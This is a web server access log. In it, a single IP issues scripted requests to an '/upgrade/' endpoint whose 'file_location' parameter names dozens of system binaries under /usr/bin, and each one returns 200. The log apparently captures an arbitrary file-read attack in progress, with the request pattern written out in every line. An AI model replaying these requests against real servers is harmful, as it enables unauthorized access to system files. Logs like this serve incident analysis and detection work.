45.135.193.11 - - [11/Sep/2026:22:50:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzip&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 197789 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzip&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffio&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 499550 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffio&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fipcmk&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103135 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fipcmk&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fldd&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98417 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fldd&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpip-3&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95836 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpip-3&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsha224sum&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 112175 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsha224sum&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxmllint&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 124831 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxmllint&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fchmod&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 120136 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fchmod&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fp11-kit&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 171979 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fp11-kit&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpango-segmentation&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100917 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpango-segmentation&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpeekfd&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101878 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpeekfd&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbwrap&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 127211 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbwrap&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcol&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103932 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcol&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysqld_safe_helper&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 867056 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysqld_safe_helper&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2FHEAD&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102262 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2FHEAD&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fconvert&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99033 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fconvert&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcrc32&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96123 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcrc32&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fglib-genmarshal&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106258 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fglib-genmarshal&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fkeyctl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 119484 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fkeyctl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmsgattrib&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104535 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmsgattrib&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdot&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99935 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdot&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpkcheck&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104384 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpkcheck&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frpmverify&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102822 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frpmverify&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Funshare&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108496 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Funshare&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fyum&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97060 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fyum&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysqladmin&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 1001881 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysqladmin&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-fib-lookup&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100299 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-fib-lookup&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fautom4te&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 109666 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fautom4te&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdu&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 172169 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdu&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffirewall-offline-cmd&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 117942 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffirewall-offline-cmd&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ficonv&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 124539 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ficonv&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmail&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 623224 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmail&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Faulastlog&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100525 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Faulastlog&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbzfgrep&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96753 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbzfgrep&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgc&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102059 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgc&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-find-rows&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97435 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-find-rows&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysqlslap&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 1002835 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysqlslap&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Franlib&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 119562 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Franlib&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscsi-rescan&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 110101 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscsi-rescan&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_copy_results&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103049 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_copy_results&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdnf&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96985 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdnf&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_ses_microcode&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107257 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_ses_microcode&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_write_same&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104915 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_write_same&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fstat&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 133439 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fstat&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fstreamzip&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98961 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fstreamzip&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-escape&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103313 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-escape&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftred&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101887 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftred&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgtester&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106614 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgtester&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadbd-multi&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105877 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadbd-multi&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fneato&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100094 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fneato&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fneeds-restarting&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97680 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fneeds-restarting&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnotify-send&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101834 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnotify-send&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpdns_control&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 293139 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpdns_control&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscp&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 162095 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscp&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_safte&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103665 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_safte&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgresource&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103516 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgresource&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flogger&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 111368 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flogger&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnf-ct-events&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99901 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnf-ct-events&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-route-list&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101003 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-route-list&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fvmstat&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 109700 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fvmstat&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwait&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95788 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwait&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fx86_64-redhat-linux-gcc-11&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 498388 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fx86_64-redhat-linux-gcc-11&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
